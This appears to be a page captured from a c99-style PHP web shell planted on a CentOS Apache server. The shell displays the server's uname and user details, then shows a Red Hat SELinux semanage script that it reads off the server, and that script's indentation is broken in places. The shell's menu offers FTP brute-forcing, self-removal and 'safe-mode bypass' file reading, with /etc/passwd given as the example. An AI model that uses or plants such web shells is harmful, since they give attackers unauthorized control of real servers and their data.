!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/sbin/   drwxr-xr-x
Free 52.28 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     semanage (8.7 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#! /usr/bin/python -E
# Copyright (C) 2005, 2006, 2007, 2008 Red Hat 
# see file 'COPYING' for use and warranty information
#
# semanage is a tool for managing SELinux configuration files
#
#    This program is free software; you can redistribute it and/or
#    modify it under the terms of the GNU General Public License as
#    published by the Free Software Foundation; either version 2 of
#    the License, or (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, write to the Free Software
#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA     
#                                        02111-1307  USA
#
#  
import os, sys, getopt
import seobject
import selinux
PROGNAME="policycoreutils"

import gettext
gettext.bindtextdomain(PROGNAME, "/usr/share/locale")
gettext.textdomain(PROGNAME)
import codecs
import locale
sys.stderr = codecs.getwriter(locale.getpreferredencoding())(sys.__stderr__, 'replace')
sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.__stdout__, 'replace')

try:
       gettext.install(PROGNAME, localedir="/usr/share/locale", unicode=1)
except IOError:
       import __builtin__
       __builtin__.__dict__['_'] = unicode

is_mls_enabled=selinux.is_selinux_mls_enabled()

if __name__ == '__main__':

    def usage(message = ""):
        print _('\
semanage {login|user|port|interface|node|fcontext} -l [-n] \n\
semanage login -{a|d|m} [-sr] login_name\n\
semanage user -{a|d|m} [-LrRP] selinux_name\n\
semanage port -{a|d|m} [-tr] [ -p protocol ] port | port_range\n\
semanage interface -{a|d|m} [-tr] interface_spec\n\
semanage node -{a|d|m} [-tr] [ -p protocol ] [-M netmask] addr\n\
semanage fcontext -{a|d|m} [-frst] file_spec\n\n\
\
Primary Options:\n\
\
    -a, --add        Add a OBJECT record NAME\n\
    -d, --delete     Delete a OBJECT record NAME\n\
    -m, --modify     Modify a OBJECT record NAME\n\
    -l, --list       List the OBJECTS\n\n\
\
    -h, --help       Display this message\n\
    -n, --noheading  Do not print heading when listing OBJECTS\n\n\
        -S, --store      Select and alternate SELinux store to manage\n\n\
Object-specific Options (see above):\n\
    -f, --ftype      File Type of OBJECT \n\
        "" (all files) \n\
        -- (regular file) \n\
        -d (directory) \n\
        -c (character device) \n\
        -b (block device) \n\
        -s (socket) \n\
        -l (symbolic link) \n\
        -p (named pipe) \n\n\
\
    -p, --proto      Port protocol (tcp or udp) or internet protocol version of node (ipv4 or ipv6)\n\
    -M, --mask       Netmask\n\
    -P, --prefix     Prefix for home directory labeling\n\
    -L, --level      Default SELinux Level (MLS/MCS Systems only)\n\
    -R, --roles      SELinux Roles (ex: "sysadm_r staff_r")\n\n\
\
    -s, --seuser     SELinux User Name\n\
    -t, --type       SELinux Type for the object\n\
    -r, --range      MLS/MCS Security Range (MLS/MCS Systems only)\n\
')
        print message
        sys.exit(1)
        
    def errorExit(error):
        sys.stderr.write("%s: " % sys.argv[0])
        sys.stderr.write("%s\n" % error)
        sys.stderr.flush()
        sys.exit(1)

    def get_options():
        valid_option={}
        valid_everyone=[ '-a', '--add', '-d', '--delete', '-m', '--modify', '-l', '--list', '-h', '--help', '-n', '--noheading' , '-S', '--store' ]
        valid_option["login"] = []
        valid_option["login"] += valid_everyone + [ '-s', '--seuser', '-r', '--range']
        valid_option["user"] = []
        valid_option["user"] += valid_everyone + [ '-L', '--level', '-r', '--range', '-R', '--roles', '-P', '--prefix' ] 
        valid_option["port"] = []
        valid_option["port"] += valid_everyone + [ '-t', '--type', '-r', '--range', '-p', '--protocol' ] 
        valid_option["interface"] = []
        valid_option["interface"] += valid_everyone + [ '-t', '--type', '-r', '--range']
        valid_option["node"] = []
        valid_option["node"] += valid_everyone + [ '-M', '--mask', '-t', '--type', '-r', '--range', '-p', '--protocol'] 
        valid_option["fcontext"] = []
        valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
        return valid_option

    #
    # 
    #
    try:
        input = sys.stdin
        output = sys.stdout
        serange = ""
        port = ""
        proto = ""
        mask = ""
        selevel = ""
        setype = ""
        ftype = ""
        roles = ""
        seuser = ""
        prefix = ""
        heading=1

        add = 0
        modify = 0
        delete = 0
        list = 0
                store = ""
        if len(sys.argv) < 3:
            usage(_("Requires 2 or more arguments"))
            
        object = sys.argv[1]
        option_dict=get_options()
        if object not in option_dict.keys():
            usage(_("%s not defined") % object)
            
        args = sys.argv[2:]

        gopts, cmds = getopt.getopt(args,
                        'adf:lhmnp:s:R:L:r:t:S:P:M:',
                        ['add',
                         'delete',
                         'ftype=',
                         'help',
                         'list', 
                         'modify',
                         'noheading',
                         'proto=',
                         'seuser=',
                         'store=',
                         'range=',
                         'level=',
                         'roles=',
                         'type=',
                         'prefix=',
                         'mask='
                         ])
        for o, a in gopts:
            if o not in option_dict[object]:
                sys.stderr.write(_("%s not valid for %s objects\n") % ( o, object) );
                
        for o,a in gopts:
            if o == "-a" or o == "--add":
                if modify or delete:
                    usage()
                add = 1
                
            if o == "-d"  or o == "--delete":
                if modify or add:
                    usage()
                delete = 1
            if o == "-f"  or o == "--ftype":
                ftype=a
            if o == "-h" or o == "--help":
                usage()

            if o == "-n" or o == "--noheading":
                heading=0

            if o == "-m"or o == "--modify":
                if delete or add:
                    usage()
                modify = 1
                
            if o == "-S" or o == '--store':
                store = a

            if o == "-r" or o == '--range':
                if is_mls_enabled == 0:
                    errorExit(_("range not supported on Non MLS machines"))
                serange = a

            if o == "-l" or o == "--list":
                list = 1

            if o == "-M" or o == '--mask':
                                mask = a

            if o == "-L" or o == '--level':
                if is_mls_enabled == 0:
                    errorExit(_("range not supported on Non MLS machines"))
                selevel = a

            if o == "-p" or o == '--proto':
                proto = a

            if o == "-P" or o == '--prefix':
                prefix = a

            if o == "-R" or o == '--roles':
                roles = roles + " " + a

            if o == "-s" or o == "--seuser":
                seuser = a

            if o == "-t" or o == "--type":
                setype = a


        if object == "login":
            OBJECT = seobject.loginRecords(store)

        if object == "user":
            OBJECT = seobject.seluserRecords(store)

        if object == "port":
            OBJECT = seobject.portRecords(store)
        
        if object == "interface":
            OBJECT = seobject.interfaceRecords(store)

        if object == "node":
                        OBJECT = seobject.nodeRecords(store)
            
        if object == "fcontext":
            OBJECT = seobject.fcontextRecords(store)
        
        
        if list:
            OBJECT.list(heading)
            sys.exit(0);
            
        if len(cmds) != 1:
            usage()

        target = cmds[0]

        if add:
            if object == "login":
                OBJECT.add(target, seuser, serange)

            if object == "user":
                rlist = roles.split()
                if len(rlist) == 0:
                    raise ValueError(_("You must specify a role"))
                if prefix == "":
                    raise ValueError(_("You must specify a prefix"))
                OBJECT.add(target, rlist, selevel, serange, prefix)

            if object == "port":
                OBJECT.add(target, proto, serange, setype)

            if object == "interface":
                OBJECT.add(target, serange, setype)

            if object == "node":
                                OBJECT.add(target, mask, proto, serange, setype)
    
            if object == "fcontext":
                OBJECT.add(target, setype, ftype, serange, seuser)
            sys.exit(0);
            
        if modify:
            if object == "login":
                OBJECT.modify(target, seuser, serange)

            if object == "user":
                rlist = roles.split()
                OBJECT.modify(target, rlist, selevel, serange)

            if object == "port":
                OBJECT.modify(target, proto, serange, setype)

            if object == "interface":
                OBJECT.modify(target, serange, setype)

            if object == "node":
                                OBJECT.modify(target, mask, proto, serange, setype)

            if object == "fcontext":
                OBJECT.modify(target, setype, ftype, serange, seuser)

            sys.exit(0);

        if delete:
            if object == "port":
                OBJECT.delete(target, proto)

            elif object == "fcontext":
                OBJECT.delete(target, ftype)

            elif object == "node":
                                OBJECT.delete(target, mask, proto)

            else:
                OBJECT.delete(target)

            sys.exit(0);
        usage()
            
    except getopt.error, error:
        errorExit(_("Options Error %s ") % error.msg)
    except ValueError, error:
        errorExit(error.args[0])
    except KeyError, error:
        errorExit(_("Invalid value %s") % error.args[0])
    except IOError, error:
        errorExit(error.args[1])
    except KeyboardInterrupt, error:
        sys.exit(0)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--